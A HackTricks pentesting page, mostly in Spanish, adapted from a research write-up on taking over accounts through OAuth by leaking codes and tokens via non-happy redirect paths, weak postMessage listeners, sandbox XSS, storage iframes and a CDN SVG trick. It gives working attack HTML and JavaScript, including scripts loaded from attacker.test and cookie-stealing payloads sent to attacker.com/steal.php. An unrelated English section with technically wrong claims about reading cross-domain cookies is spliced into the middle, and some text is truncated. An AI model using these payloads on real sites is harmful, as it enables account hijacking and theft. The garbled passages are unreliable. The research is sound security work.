hacktricks/pentesting-web/oauth-to-account-takeover/oauth-happy-paths-xss-iframes-and-post-messages-to-leak-code-and-state-values.md

795 lines
47 KiB
Markdown
Raw Normal View History

2023-06-05 18:33:24 +00:00
# OAuth - Flujos felices, XSS, iframes y mensajes POST para filtrar valores de código y estado
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PR al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
**Este contenido fue tomado de** [**https://labs.detectify.com/2022/07/06/account-hijacking-using-dirty-dancing-in-sign-in-oauth-flows/#gadget-2-xss-on-sandbox-third-party-domain-that-gets-the-url**](https://labs.detectify.com/2022/07/06/account-hijacking-using-dirty-dancing-in-sign-in-oauth-flows/#gadget-2-xss-on-sandbox-third-party-domain-that-gets-the-url)****
## Explicación de diferentes flujos de OAuth
### Tipos de respuesta
En primer lugar, existen diferentes tipos de respuesta que se pueden utilizar en el flujo de OAuth. Estas respuestas otorgan el **token para iniciar sesión como los usuarios o la información necesaria para hacerlo**.
Los tres más comunes son:
1. **`code` + `state`**. El **código** se utiliza para **llamar al servidor del proveedor de OAuth** para obtener un token. El parámetro **state** se utiliza para verificar que el **usuario correcto está realizando la llamada**. Es responsabilidad del cliente de OAuth validar el parámetro de estado antes de realizar la llamada al servidor del proveedor de OAuth.
2. **`id_token`**. Es un token JSON Web Token **(JWT) firmado** utilizando un certificado público del proveedor de OAuth para verificar que la identidad proporcionada es realmente quien dice ser.
3. **`token`**. Es un **token de acceso** utilizado en la API del proveedor de servicios.
### Modos de respuesta
Existen diferentes modos que el flujo de autorización podría utilizar para proporcionar los códigos o tokens al sitio web en el flujo de OAuth, estos son cuatro de los más comunes:
1. **Consulta**. Enviando parámetros de consulta como una redirección de vuelta al sitio web (`https://ejemplo.com/callback?code=xxx&state=xxx`). Utilizado para `code+state`. El **código** solo se puede **usar una vez** y se necesita el **secreto del cliente de OAuth** para **adquirir un token de acceso** al usar el código.&#x20;
1. [Este modo no se recomienda para tokens](https://openid.net/specs/oauth-v2-multiple-response-types-1\_0-09.html#id\_token) ya que **los tokens se pueden usar varias veces y no deben terminar en registros del servidor o similares**. La mayoría de los proveedores de OAuth no admiten este modo para tokens, solo para código. Ejemplos:
* `response_mode=query` es utilizado por Apple.
* `response_type=code` es utilizado por Google o Facebook.
2. **Fragmento**. Usando una **redirección de fragmento** (`https://ejemplo.com/callback#access_token=xxx`). En este modo, la parte del fragmento de la URL no termina en ningún registro del servidor y solo se puede acceder desde el lado del cliente utilizando javascript. Este modo de respuesta se utiliza para tokens. Ejemplos:
* `response_mode=fragment` es utilizado por Apple y Microsoft.
* `response_type` contiene `id_token` o `token` y es utilizado por Google, Facebook, Atlassian y otros.
3. **Mensaje web**. Usando **postMessage a un origen fijo del sitio web**:\
`postMessage('{"access_token":"xxx"}','https://ejemplo.com')`\
Si se admite, a menudo se puede utilizar para todos los diferentes tipos de respuesta. Ejemplos:
* `response_mode=web_message` es utilizado por Apple.
* `redirect_uri=storagerelay://...` es utilizado por Google.
* `redirect_uri=https://staticxx.facebook.com/.../connect/xd_arbiter/...` es utilizado por Facebook.
4. **Publicación de formulario**. Usando una publicación de formulario a un `redirect_uri` válido, se envía una **solicitud POST regular de vuelta al sitio web**. Esto se puede utilizar para código y tokens. Ejemplos:
* `response_mode=form_post` es utilizado por Apple.
* `ux_mode=redirect&login_uri=https://ejemplo.com/callback` es utilizado por Google Sign-In (GSI).
## Romper `state` intencionalmente <a href="#break-state-intentionally" id="break-state-intentionally"></a>
La especificación de OAuth recomienda un parámetro `state` en combinación con un `response_type=code` para asegurarse de que el usuario que inició el flujo también es el que usa el código después del flujo de OAuth para emitir un token.
Sin embargo, si el **valor de `state` es inválido**, el **`code` no se consumirá** ya que es responsabilidad del sitio web (el último) validar el estado. Esto significa que si un atacante puede enviar un enlace de flujo de inicio de sesión a una víctima contaminada con un `state` válido del atacante, el flujo de OAuth fallará para la víctima y el `code` nunca se enviará al proveedor de OAuth. El código seguirá siendo posible de usar si el atacante puede obtenerlo.
1. El atacante inicia un flujo de inicio de sesión en el sitio web utilizando "Iniciar sesión con X".
2. El atacante utiliza el valor `state` y construye un enlace para que la víctima inicie sesión con el proveedor de OAuth pero con el `state` del atacante.
3. La víctima inicia sesión con el enlace y es redirigida de vuelta al sitio web.
4. El sitio web valida el `state` para la víctima y detiene el procesamiento del flujo de inicio de sesión ya que no es un estado válido. Página de error para la víctima.
5. El atacante encuentra una forma de filtrar el `code` de la página de error.
6. El atacante ahora puede iniciar sesión con su propio `state` y el `
```
https://accounts.google.com/o/oauth2/v2/auth/oauthchooseaccount?
client_id=client-id.apps.googleusercontent.com&
redirect_uri=https%3A%2F%2Fexample.com%2Fcallback&
scope=openid%20email%20profile&
response_type=code&
access_type=offline&
state=yyy&
prompt=consent&flowName=GeneralOAuthFlow
```
redireccionará a `https://example.com/callback?code=xxx&state=yyy`. Pero:
```
https://accounts.google.com/o/oauth2/v2/auth/oauthchooseaccount?
client_id=client-id.apps.googleusercontent.com&
redirect_uri=https%3A%2F%2Fexample.com%2Fcallback&
scope=openid%20email%20profile&
response_type=code,id_token&
access_type=offline&
state=yyy&
prompt=consent&flowName=GeneralOAuthFlow
```
Se redirigirá a `https://example.com/callback#code=xxx&state=yyy&id_token=zzz`.
La misma idea se aplica a Apple si usas:
```
https://appleid.apple.com/auth/authorize?
response_type=code&
response_mode=query&
scope=&
state=zzz&
client_id=client-id&
redirect_uri=https%3A%2F%2Fexample.com%2Fcallback
```
Serás redirigido a `https://example.com/callback?code=xxx&state=yyy`, pero:
```
https://appleid.apple.com/auth/authorize?
response_type=code+id_token&
response_mode=fragment&
scope=&
state=zzz&
client_id=client-id&
redirect_uri=https%3A%2F%2Fexample.com%2Fcallback
```
Te redirigirá a `https://example.com/callback#code=xxx&state=yyy&id_token=zzz`.
## Caminos no felices
El autor de la investigación llamó **caminos no felices a las URLs incorrectas donde el usuario iniciaba sesión a través de OAuth y era redirigido**. Esto es útil porque si el cliente recibe el token o un estado+codigo válido **pero no llega a la página esperada**, esa **información no será consumida correctamente** y si el atacante encuentra una forma de **filtrar esa información** del "camino no feliz", podrá **tomar el control de la cuenta**.
Por defecto, el flujo de OAuth llegará al camino esperado, sin embargo, podría haber algunas **configuraciones incorrectas** potenciales que podrían permitir a un atacante **crear una solicitud OAuth inicial específica** que hará que el **usuario llegue a un camino no feliz después de iniciar sesión**.
### Desajustes en la URL de redirección
Estas **configuraciones incorrectas** "comunes" se encontraron en la **URL de redirección** de la comunicación OAuth.
La [**especificación**](https://datatracker.ietf.org/doc/html/draft-ietf-oauth-security-topics-19#section-2.1) **** indica estrictamente que la URL de redirección debe compararse estrictamente con la definida, sin permitir cambios aparte del puerto que aparece o no. Sin embargo, algunos puntos finales permitían algunas modificaciones:
### Añadir una ruta a la URL de redirección
Algunos proveedores de OAuth **permiten agregar datos adicionales** a la ruta para `redirect_uri`. Esto también rompe la especificación de la misma manera que para "Cambio de caso en la URL de redirección". Por ejemplo, teniendo una URL de redirección `https://example.com/callback`, enviando:
```
response_type=id_token&
redirect_uri=https://example.com/callbackxxx
```
### Añadiendo parámetros a redirect-uri
Algunos proveedores de OAuth **permiten agregar parámetros adicionales de consulta o fragmento** a la `redirect_uri`. Puedes aprovechar esto al provocar un camino no feliz proporcionando los mismos parámetros que se agregarán a la URL. Por ejemplo, si tienes una `redirect_uri` de `https://example.com/callback`, envía:
```
response_type=code&
redirect_uri=https://example.com/callback%3fcode=xxx%26
```
El resultado en estos casos sería una redirección a `https://example.com/callback?code=xxx&code=real-code`. Dependiendo del sitio web que reciba **múltiples parámetros con el mismo nombre, esto también podría desencadenar un camino no feliz**. Lo mismo se aplica a `token` e `id_token`:
```
response_type=code&
redirect_uri=https://example.com/callback%23id_token=xxx%26
```
Termina como `https://example.com/callback#id_token=xxx&id_token=real-id_token`. Dependiendo del **javascript que recupera los parámetros de fragmento cuando hay múltiples parámetros con el mismo nombre**, esto también podría terminar en un camino no feliz.
### Restos de uri de redirección o configuraciones incorrectas
Al recopilar todas las URL de inicio de sesión que contienen los valores de `redirect_uri`, también podría probar si otros valores de redirección de URI también eran válidos. De las 125 flujos de inicio de sesión de Google diferentes que guardé de los sitios web que probé, 5 sitios web tenían la página de inicio también como un `redirect_uri` válido. Por ejemplo, si se estaba utilizando `redirect_uri=https://auth.example.com/callback`, en estos 5 casos, cualquiera de estos también era válido:
* `redirect_uri=https://example.com/`
* `redirect_uri=https://example.com`
* `redirect_uri=https://www.example.com/`
* `redirect_uri=https://www.example.com`
Esto fue especialmente interesante para los sitios web que realmente usaban `id_token` o `token`, ya que `response_type=code` aún tendría al proveedor de OAuth validando el `redirect_uri` en el último paso del baile de OAuth al adquirir un token.
## Gadget 1: Listeners de postMessage con verificación de origen débil o inexistente que filtra la URL
![](https://labs.detectify.com/wp-content/uploads/2022/06/gadget-1-1024x582.png)
**En este ejemplo, el último camino no feliz donde se envió el token/código fue enviando un mensaje de solicitud de publicación filtrando location.href.**\
Un ejemplo fue un SDK de análisis para un sitio popular que se cargó en sitios web:
![](https://labs.detectify.com/wp-content/uploads/2022/06/gadget1-example1.png)
Este SDK expuso un listener de postMessage que envió el siguiente mensaje cuando el tipo de mensaje coincidió:
![](https://labs.detectify.com/wp-content/uploads/2022/06/gadget1-example2.png)
Enviando un mensaje a él desde un origen diferente:
```javascript
openedwindow = window.open('https://www.example.com');
...
openedwindow.postMessage('{"type":"sdk-load-embed"}','*');
```
Un mensaje de respuesta aparecería en la ventana que envió el mensaje que contiene la `location.href` del sitio web:
![](https://labs.detectify.com/wp-content/uploads/2022/06/gadget1-example3.png)
El flujo que se podría utilizar en un ataque dependía de cómo se usaban los códigos y tokens para el flujo de inicio de sesión, pero la idea era:
### **Ataque**
1. El atacante envía al usuario víctima un **enlace manipulado** que ha sido preparado para **resultar en un flujo no feliz** en la danza de OAuth.
2. La víctima **hace clic** en el enlace. Se abre una nueva pestaña con un flujo de **inicio de sesión** con uno de los proveedores de OAuth del sitio web que está siendo explotado.
3. Se activa un flujo no feliz en el sitio web que está siendo explotado, se carga el **escucha de postMessage vulnerable en la página en la que aterrizó la víctima, todavía con el código o tokens en la URL**.
4. La **pestaña original** enviada por el atacante envía un montón de **postMessages** a la nueva pestaña con el sitio web para que el escucha de postMessage filtre la URL actual.
5. La pestaña original enviada por el atacante **escucha el mensaje enviado a ella**. Cuando la URL regresa en un mensaje, se extrae el **código y token** y se envía al atacante.
6. **El atacante inicia sesión como la víctima** utilizando el código o token que terminó en el flujo no feliz.
## Gadget 2: XSS en un dominio de sandbox/terceros que obtiene la URL
![](https://labs.detectify.com/wp-content/uploads/2022/06/gadget-2-1024x582.png)
&#x20;
## **Gadget 2: ejemplo 1, robando window.name de un iframe de sandbox**
Este tenía un **iframe** cargado en la **página donde terminó la danza de OAuth**. El **nombre** del **iframe** era una **versión JSON-stringified del objeto `window.location`**. Esta es una forma antigua de transferir datos entre dominios, ya que la página en el iframe puede obtener su propio `window.name` establecido por el padre:
```javascript
i = document.createElement('iframe');
i.name = JSON.stringify(window.location)
i.srcdoc = '<script>console.log("my name is: " + window.name)</script>';
document.body.appendChild(i)
```
El dominio cargado en el **iframe también tenía un XSS simple**:
```
https://examplesandbox.com/embed_iframe?src=javascript:alert(1)
```
### Ataque
Si tienes un **XSS** en un **dominio** en una ventana, esta ventana puede luego **acceder a otras ventanas de la misma origen** si hay una relación de padre/hijo/opener entre las ventanas.
Esto significa que un atacante podría **explotar el XSS para cargar una nueva pestaña** con el **enlace OAuth creado** que terminará en la **ruta que carga el iframe con el token en el nombre**. Luego, desde la página explotada por XSS, será posible **leer el nombre del iframe** porque tiene un **opener sobre la página principal del iframe** y exfiltrarlo.
Más específicamente:
1. Crear una página maliciosa que incruste un iframe del sandbox con el XSS cargando mi propio script:
```html
<div id="leak"><iframe src="https://examplesandbox.com/embed_iframe?src=javascript:
x=createElement('script'),
x.src='//attacker.test/inject.js',
document.body.appendChild(x);"
style="border:0;width:500px;height:500px"></iframe></div>
```
2. En mi script cargado en el sandbox, reemplacé el contenido con el enlace a usar para la víctima:
```javascript
document.body.innerHTML =
'<a href="#" onclick="
b=window.open("https://accounts.google.com/o/oauth2/auth/oauthchooseaccount?...");">
Haz clic aquí para secuestrar el token</a>';
```
También inicié un script en un intervalo para verificar si se abrió el enlace y si el iframe que quería alcanzar está allí para obtener el `window.name` establecido en el iframe con la misma origen que el iframe en la página del atacante:
```javascript
x = setInterval(function() {
if(parent.window.b &&
parent.window.b.frames[0] &&
parent.window.b.frames[0].window &&
parent.window.b.frames[0].window.name) {
top.postMessage(parent.window.b.frames[0].window.name, '*');
parent.window.b.close();
clearInterval(x);
}
}, 500);
```
3. La página del atacante puede simplemente escuchar el mensaje que acabamos de enviar con el `window.name`:
```html
<script>
window.addEventListener('message', function (e) {
if (e.data) {
document.getElementById('leak').innerText = 'Robamos el token: ' + e.data;
}
});
</script>
```
## **Gadget 2: ejemplo 2, iframe con XSS + comprobación de origen del padre**
El segundo ejemplo fue un **iframe** cargado en el **camino no feliz** con un XSS **usando postMessage**, pero **solo se permitieron mensajes desde el `padre`** que lo cargó. La **`location.href` se envió al iframe cuando solicitó `initConfig`** en un mensaje a la ventana `padre`.
La ventana principal cargó el iframe de esta manera:
```html
<iframe src="https://challenge-iframe.example.com/"></iframe>
```
# OAuth Happy Paths: XSS, iframes and post messages to leak code and state values
## Introduction
In this section we will see how to exploit some happy paths of OAuth to leak code and state values. We will use XSS, iframes and post messages to achieve this.
## OAuth Happy Paths
### Authorization Code Grant
#### Step 1: User Authorization
The first step of the Authorization Code Grant flow is to redirect the user to the authorization server. This is usually done by sending the user to a URL like this:
```
https://auth-server.com/authorize?response_type=code&client_id=CLIENT_ID&redirect_uri=REDIRECT_URI&state=STATE
```
The `response_type` parameter is set to `code`, which means that the authorization server will return an authorization code to the client. The `client_id` parameter is the ID of the client application that is requesting authorization. The `redirect_uri` parameter is the URL that the authorization server will redirect the user to after the user has authorized the request. The `state` parameter is a random value that is generated by the client application and is used to prevent CSRF attacks.
#### Step 2: Authorization Code Exchange
Once the user has authorized the request, the authorization server will redirect the user to the `redirect_uri` specified in the previous step. The authorization code will be included in the query string of the URL:
```
https://client-app.com/callback?code=AUTHORIZATION_CODE&state=STATE
```
The client application can then exchange the authorization code for an access token by sending a POST request to the authorization server:
```
POST /token HTTP/1.1
Host: auth-server.com
Content-Type: application/x-www-form-urlencoded
grant_type=authorization_code&code=AUTHORIZATION_CODE&redirect_uri=REDIRECT_URI&client_id=CLIENT_ID&client_secret=CLIENT_SECRET
```
The `grant_type` parameter is set to `authorization_code`, which indicates that the client application is exchanging an authorization code for an access token. The `code` parameter is the authorization code that was received in the previous step. The `redirect_uri` parameter must match the `redirect_uri` that was used in the previous step. The `client_id` and `client_secret` parameters are the credentials of the client application.
### Exploiting the Happy Paths
#### XSS
One way to exploit the Authorization Code Grant flow is to inject an XSS payload into the `state` parameter of the authorization request. When the authorization server redirects the user back to the client application, the XSS payload will be executed in the context of the client application.
For example, if the client application is vulnerable to XSS and the attacker injects the following payload into the `state` parameter:
```
<script>document.location='https://attacker.com/steal.php?cookie='+document.cookie</script>
```
The attacker will be able to steal the user's session cookie when the user is redirected back to the client application.
#### Iframes
Another way to exploit the Authorization Code Grant flow is to use an iframe to load the authorization server's login page. When the user logs in, the authorization server will set a cookie that is scoped to the authorization server's domain. The client application can then use JavaScript to read the cookie and send it to the attacker's server.
For example, the attacker can create an iframe that loads the authorization server's login page:
```
<iframe src="https://auth-server.com/login"></iframe>
```
When the user logs in, the authorization server will set a cookie that is scoped to the `auth-server.com` domain. The attacker can then use JavaScript to read the cookie and send it to their server:
```
<script>document.location='https://attacker.com/steal.php?cookie='+document.cookie</script>
```
#### Post Messages
A third way to exploit the Authorization Code Grant flow is to use post messages to communicate between the client application and the authorization server. The client application can use post messages to send the authorization code to the attacker's server.
For example, the attacker can create an iframe that loads the client application:
```
<iframe src="https://client-app.com"></iframe>
```
When the user authorizes the request, the authorization server will redirect the user back to the client application. The client application can then use post messages to send the authorization code to the attacker's server:
```
<script>
window.addEventListener('message', function(event) {
if (event.origin === 'https://client-app.com') {
var authorizationCode = event.data.authorizationCode;
var xhr = new XMLHttpRequest();
xhr.open('POST', 'https://attacker.com/steal.php', true);
xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
xhr.send('authorizationCode=' + authorizationCode);
}
});
</script>
```
## Conclusion
In this section we have seen how to exploit some happy paths of OAuth to leak code and state values. We have used XSS, iframes and post messages to achieve this. It is important to note that these attacks can be prevented by properly validating and sanitizing user input, and by using secure coding practices.
```html
<script>
window.addEventListener('message', function (e) {
if (e.source !== window.parent) {
// not a valid origin to send messages
return;
}
if (e.data.type === 'loadJs') {
loadScript(e.data.jsUrl);
} else if (e.data.type === 'initConfig') {
loadConfig(e.data.config);
}
});
</script>
```
### Ataque
En este caso, el **atacante carga un iframe con la página de vulnerabilidad XSS de post-message**, y **explota** el **XSS** para cargar **JS arbitrario**. Este **JS** abrirá una **pestaña** con el **enlace OAuth**. Después de iniciar sesión, la página final contiene el token en la URL y ha cargado un iframe (el iframe de vulnerabilidad XSS post-message).
Luego, el **JS arbitrario** (del XSS explotado) tiene un **abridor para esa pestaña**, por lo que **accede al iframe** y lo hace **pedir al padre el `initConfig`** (que contiene la **URL con el token**). La página principal **se lo da al iframe**, que también se le ordena que lo **filtre**.
En este caso, podría hacer un método similar al ejemplo anterior:
1. Crear una **página maliciosa** que incruste un **iframe** del sandbox, adjuntar un **onload** para **activar un script cuando se cargue el iframe**.
```html
<div id="leak"><iframe
id="i" name="i"
src="https://challenge-iframe.example.com/"
onload="run()"
style="border:0;width:500px;height:500px"></iframe></div>
```
2. Como la **página maliciosa es entonces el padre** del iframe, podría **enviar un mensaje al iframe para cargar nuestro script** en el origen del sandbox usando **postMessage (XSS)**:
```html
<script>
function run() {
i.postMessage({type:'loadJs',jsUrl:'https://attacker.test/inject.js'}, '*')
}
</script>
```
3. En mi script que se carga en el sandbox, reemplacé el contenido con el **enlace para la víctima**:
```javascript
document.body.innerHTML = '<a href="#" onclick="
b=window.open("https://accounts.google.com/o/oauth2/auth/oauthchooseaccount?...");">
Haz clic aquí para secuestrar el token</a>';
```
También inicié un script en un intervalo para **verificar si se abrió el enlace y si estaba allí el iframe que quería alcanzar**, para ejecutar javascript dentro de él desde mi iframe a la ventana principal. Luego adjunté un oyente de postMessage que pasó el mensaje de vuelta a mi iframe en la ventana maliciosa:
```javascript
x = setInterval(function() {
if(b && b.frames[1]) {
b.frames[1].eval(
'onmessage=function(e) { top.opener.postMessage(e.data, "*") };' +
'top.postMessage({type:'initConfig'},"*")'
)
clearInterval(x)
}
}, 500);
```
4. La página del atacante que tenía el iframe cargado puede luego escuchar el mensaje que envié desde el proxy de oyente de postMessage inyectado en el iframe de la ventana principal:
```html
<script>
window.addEventListener('message', function (e) {
if (e.data) {
document.getElementById('leak').innerText = 'Robamos el token: ' + JSON.stringify(e.data);
}
});
</script>
```
## Gadget 3: Usando APIs para obtener URL fuera de límites
![](https://labs.detectify.com/wp-content/uploads/2022/06/Gadget-3--1024x582.png)
&#x20;
Este gadget resultó ser el más divertido. Hay algo satisfactorio en enviar a la víctima a algún lugar y luego recoger datos sensibles de una ubicación diferente.
## **Gadget 3: ejemplo 1, iframe de almacenamiento sin verificación de origen**
El primer ejemplo utilizó un servicio externo para datos de seguimiento. Este servicio agregó un "iframe de almacenamiento":
```html
<iframe
id="tracking"
name="tracking"
src="https://cdn.customer1234.analytics.example.com/storage.html">
</iframe>
```
La ventana principal se comunicaría con este iframe usando postMessage para enviar datos de seguimiento que se guardarían en el localStorage del origen donde se encontraba `storage.html`:
```javascript
tracking.postMessage('{"type": "put", "key": "key-to-save", "value": "saved-data"}', '*');
```
La ventana principal también podría obtener este contenido:
```javascript
tracking.postMessage('{"type": "get", "key": "key-to-save"}', '*');
```
Cuando se cargó el iframe en la inicialización, se guardó una clave para la última ubicación del usuario utilizando `location.href`:
```javascript
tracking.postMessage('{"type": "put", "key": "last-url", "value": "https://example.com/?code=test#access_token=test"}', '*');
```
Si pudieras comunicarte con este origen de alguna manera y hacer que te envíe el contenido, se podría obtener el `location.href` de este almacenamiento. El oyente de postMessage para el servicio tenía una lista de bloqueo y una lista de permitidos de orígenes. Parece que el servicio de análisis permitía que el sitio web definiera qué orígenes permitir o denegar:
```javascript
var blockList = [];
var allowList = [];
var syncListeners = [];
window.addEventListener('message', function(e) {
// If there's a blockList, check if origin is there and if so, deny
if (blockList && blockList.indexOf(e.origin) !== -1) {
return;
}
// If there's an allowList, check if origin is there, else deny
if (allowList && allowList.indexOf(e.origin) == -1) {
return;
}
// Only parent can talk to it
if (e.source !== window.parent) {
return;
}
handleMessage(e);
});
function handleMessage(e) {
if (data.type === 'sync') {
syncListeners.push({source: e.source, origin: e.origin})
} else {
...
}
window.addEventListener('storage', function(e) {
for(var i = 0; i < syncListeners.length; i++) {
syncListeners[i].source.postMessage(JSON.stringify({type: 'sync', key: e.key, value: e.newValue}), syncListeners[i].origin);
}
}
```
Además, si tuvieras un origen válido basado en la `allowList`, también podrías solicitar una sincronización, lo que te daría cualquier cambio realizado en el localStorage en esta ventana enviado a ti cuando se realizaron.
### Ataque
En el sitio web que tenía este almacenamiento cargado en el camino no feliz de la danza de OAuth, no se definieron orígenes de `allowList`; **esto permitió que cualquier origen hablara con el oyente de postMessage** si el origen era el `parent` de la ventana:
1. Creé una página maliciosa que incrustaba un iframe del contenedor de almacenamiento y adjuntaba un onload para activar un script cuando se cargaba el iframe.
```html
<div id="leak"><iframe
id="i" name="i"
src="https://cdn.customer12345.analytics.example.com/storage.html"
onload="run()"></iframe></div>
```
2. Como la página maliciosa era ahora el padre del iframe, y no se definieron orígenes en la `allowList`, la página maliciosa podía enviar mensajes al iframe para decirle al almacenamiento que enviara mensajes para cualquier actualización del almacenamiento. También podría agregar un oyente a la página maliciosa para escuchar cualquier actualización de sincronización del almacenamiento:
```html
<script>
function run() {
i.postMessage({type:'sync'}, '*')
}
window.addEventListener('message', function (e) {
if (e.data && e.data.type === 'sync') {
document.getElementById('leak').innerText = 'Robamos el token: ' + JSON.stringify(e.data);
}
});
</script>
```
3. La página maliciosa también contendría un enlace regular para que la víctima hiciera clic:
```html
<a href="https://accounts.google.com/o/oauth2/auth/oauthchooseaccount?..."
target="_blank">Haz clic aquí para secuestrar el token</a>';
```
4. La víctima haría clic en el enlace, pasaría por la danza de OAuth y terminaría en el camino no feliz cargando el script de seguimiento y el iframe de almacenamiento. El iframe de almacenamiento recibe una actualización de `last-url`. El evento `window.storage` se activaría en el iframe de la página maliciosa ya que se actualizó el localStorage, y la página maliciosa que ahora recibía actualizaciones cada vez que cambiaba el almacenamiento recibiría un postMessage con la URL actual de la víctima:
<figure><img src="https://labs.detectify.com/wp-content/uploads/2022/06/gadget3-example2.png" alt=""><figcaption></figcaption></figure>
## **Gadget 3: ejemplo 2, mezcla de clientes en CDN - DIY storage-SVG sin verificación de origen**
Como el servicio de análisis en sí mismo tenía una recompensa por errores, también estaba interesado en ver si podía encontrar una manera de filtrar URLs también para los sitios web que habían configurado orígenes adecuados para el iframe de almacenamiento.
Cuando comencé a buscar el dominio `cdn.analytics.example.com` en línea sin la parte del cliente, noté que este CDN también contenía imágenes cargadas por los clientes del servicio:
```
https://cdn.analytics.example.com/img/customer42326/event-image.png
https://cdn.analytics.example.com/img/customer21131/test.png
```
También noté que había archivos SVG servidos en línea como `Content-type: image/svg+xml` en este CDN:
```
https://cdn.analytics.example.com/img/customer54353/icon-register.svg
```
Me registré como usuario de prueba en el servicio y subí mi propio activo, que también apareció en la CDN:
```
https://cdn.analytics.example.com/img/customer94342/tiger.svg
```
La parte interesante fue que, si luego usabas el subdominio específico del cliente para el CDN, la imagen seguía siendo servida. Esta URL funcionó:
```
https://cdn.customer12345.analytics.example.com/img/customer94342/tiger.svg
```
Esto significaba que el cliente con ID #94342 podía renderizar archivos SVG en el almacenamiento del cliente #12345.
Subí un archivo SVG con un payload XSS simple:
`https://cdn.customer12345.analytics.example.com/img/customer94342/test.svg`
```html
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<svg id="svg2" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" viewbox="0 0 500 500" width="100%" height="100%" version="1.1">
<script xlink:href="data:,alert(document.domain)"></script>
</svg>
```
![](https://labs.detectify.com/wp-content/uploads/2022/06/gadget3-example7.png)
No muy bien. El CDN agregó un encabezado `Content-Security-Policy: default-src 'self'` a todo lo que estaba bajo `img/`. También se podía ver que el encabezado del servidor mencionaba S3, revelando que el contenido se había cargado en un bucket de S3:
![](https://labs.detectify.com/wp-content/uploads/2022/06/gadget3-example5.png)
Una peculiaridad interesante de S3 es que los directorios no son realmente directorios en S3; la ruta antes de la clave se llama "prefijo". Esto significa que a S3 no le importa si los `/` están codificados en URL o no, aún servirá el contenido si se codifica en URL cada barra diagonal en la URL. Si cambiara `img/` a `img%2f` en la URL, la imagen seguiría resolviéndose. Sin embargo, en ese caso se eliminó el encabezado CSP y se activó el XSS:
![](https://labs.detectify.com/wp-content/uploads/2022/06/gadget3-example6.png)
Luego pude cargar un SVG que crearía la misma forma de controlador de almacenamiento y oyente de postMessage como el `storage.html` regular, pero con una lista de permitidos vacía. Eso me permitió hacer el mismo tipo de ataque incluso en sitios web que habían definido correctamente los orígenes permitidos que podían hablar con el almacenamiento.
Cargué un SVG que se veía así:
![](https://labs.detectify.com/wp-content/uploads/2022/06/gadget3-example7.png)
```html
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<svg id="svg2" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" viewbox="0 0 5 5" width="100%" height="100%" version="1.1">
<script xlink:href="data:application/javascript;base64,dmFyIGJsb2NrTGlzdCA9IFtdOwp2YXIgYWxsb3dMaXN0ID0gW107Ci4uLg=="></script>
</svg>
```
Entonces, podría utilizar la misma metodología que en el ejemplo #1, pero en lugar de insertar el `storage.html` en un iframe, simplemente podría insertar el SVG con la barra diagonal codificada en la URL:
```html
<div id="leak"><iframe
id="i" name="i"
src="https://cdn.customer12345.analytics.example.com/img%2fcustomer94342/listener.svg"
onload="run()"></iframe></div>
```
Dado que ningún sitio web sería capaz de solucionar esto por sí mismo, envié un informe al proveedor de análisis encargado del CDN en su lugar:
![](https://labs.detectify.com/wp-content/uploads/2022/06/gadget3-example7.png)
La idea de buscar errores de configuración en terceros era principalmente para confirmar que hay múltiples formas de lograr la filtración de tokens y, dado que el tercero tenía un programa de recompensas por errores, esto era solo un receptor diferente para el mismo tipo de error, la diferencia era que el impacto era para todos los clientes del servicio de análisis. En este caso, el cliente del tercero realmente tenía la capacidad de configurar adecuadamente la herramienta para evitar que filtrara datos al atacante. Sin embargo, dado que los datos sensibles aún se enviaban al tercero, era interesante ver si había alguna forma de evitar por completo la configuración adecuada de la herramienta por parte del cliente.
## **Gadget 3: ejemplo 3, API de chat-widget**
El último ejemplo se basó en un chat-widget que estaba presente en todas las páginas de un sitio web, incluso en las páginas de error. Había varios listeners de postMessage, uno de ellos sin una verificación de origen adecuada que solo permitía iniciar la ventana emergente de chat. Otro listener tenía una estricta verificación de origen para que el chat-widget recibiera una llamada de inicialización y el token de chat-api actual que se usaba para el usuario actual.
```html
<iframe src="https://chat-widget.example.com/chat"></iframe>
<script>
window.addEventListener('message', function(e) {
if (e.data.type === 'launch-chat') {
openChat();
}
});
function openChat() {
...
}
var chatApiToken;
window.addEventListener('message', function(e) {
if (e.origin === 'https://chat-widget.example.com') {
if (e.data.type === 'chat-widget') {
if (e.data.key === 'api-token') {
chatApiToken = e.data.value;
}
if(e.data.key === 'init') {
chatIsLoaded();
}
}
}
});
function chatIsLoaded() {
...
}
</script>
```
Cuando se cargó el chat-iframe:
1. Si existía un chat-api-token en el localStorage del chat-widget, enviaría el api-token a su padre usando postMessage. Si no existía ningún chat-api-token, no enviaría nada.
2. Cuando el iframe se ha cargado, enviará un postMessage con `{"type": "chat-widget", "key": "init"}` a su padre.
Si se hizo clic en el icono de chat en la ventana principal:
1. Si no se había enviado ningún chat-api-token, el chat-widget crearía uno y lo pondría en el localStorage de su propia origen y lo enviaría por postMessage a la ventana principal.
